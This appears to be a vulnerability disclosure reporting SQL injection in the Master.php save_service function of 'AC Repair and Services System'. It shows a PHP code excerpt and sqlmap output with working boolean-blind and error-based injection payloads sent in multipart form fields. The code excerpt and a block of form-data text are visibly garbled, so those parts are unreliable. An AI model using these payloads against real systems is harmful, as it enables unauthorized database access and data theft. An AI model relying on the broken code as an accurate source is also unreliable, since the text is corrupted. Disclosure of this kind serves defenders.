## AC Repair and Services System Master.php has Sqlinjection

AC Repair and Services System Master.php has Sqlinjection, The basic introduction of this vulnerability is that SQL injection means that the web application does not judge or filter the validity of user input data strictly. An attacker can add additional SQL statements to the end of the predefined query statements in the web application to achieve illegal operations without the administrator's knowledge, so as to cheat the database server to execute unauthorized arbitrary queries and further obtain the corresponding data information.

```
$resp['status'] = 'failed';
        $resp['error'] = 'Unkown '.$path.' path';
   return json_encode($resp);
function save_service(){
   extract($_POST);
   $data = "";
foreach($_POST as $k =>$v){
        if(!in array($k,array('id'))){
           if(!empty($data)) $data .=",";
            $v = htmlspecialchars($this->conn->real_escape_string($\);
            data = " {k}^= {v}' {v}' {v}'
   $check = $this->conn->query("SELECT * FROM `service_list` where `name` = '{$name}' ".(!empty($id) ? " and id
   if($this->capture_err())
       return $this->capture_err();
    if($check > 0){
        $resp['status'] = 'failed';
       $resp['msg'] = "Service Name already exists.";
       return json_encode($resp);
   if(empty($id)){
```

```
Content Disposition: form-data, names email:

Text Interval of Content Disposition form-data, names email:

Total content Disposition: form-data, names email:

Total content
```

## Sqlmap attack

```
(custom) POST parameter 'MULTIPART id' is vulnerable. Do you want to keep testing
the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 344 HTTP(s)
requests:
Parameter: MULTIPART id ((custom) POST)
   Type: boolean-based blind
   Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
   Payload: -----YWJkMTQzNDcw
Content-Disposition: form-data; name="id"
0'XOR(if(now()=sysdate(),sleep(4),0))XOR'Z' OR NOT 2318=2318#
-----YWJkMTQzNDcw
Content-Disposition: form-data; name="customer"
-----YWJkMTQzNDcw
Content-Disposition: form-data; name="fullname"
GRLpGpAG
-----YWJkMTQzNDcw
Content-Disposition: form-data; name="email"
testing@example.com
```

```
-----YWJkMTQzNDcw
Content-Disposition: form-data; name="contact"
1
-----YWJkMTQzNDcw
Content-Disposition: form-data; name="address"
3137 Laguna Street
-----YWJkMTQzNDcw
Content-Disposition: form-data; name="services[]"
3
-----YWJkMTQzNDcw--
   Type: error-based
   Title: MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)
   Payload: -----YWJkMTQzNDcw
Content-Disposition: form-data; name="id"
0'XOR(if(now()=sysdate(),sleep(4),0))XOR'Z' OR GTID_SUBSET(CONCAT(0x716b6b6a71,
(SELECT (ELT(2940=2940,1))),0x7162787671),2940)-- nGog
-----YWJkMTQzNDcw
Content-Disposition: form-data; name="customer"
-----YWJkMTQzNDcw
Content-Disposition: form-data; name="fullname"
GRLpGpAG
-----YWJkMTQzNDcw
Content-Disposition: form-data; name="email"
testing@example.com
-----YWJkMTQzNDcw
Content-Disposition: form-data; name="contact"
1
-----YWJkMTQzNDcw
Content-Disposition: form-data; name="address"
```

3137 Laguna Street
YWJkMTQzNDcw
Content-Disposition: form-data; name="services[]"
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YWJkMTQzNDcw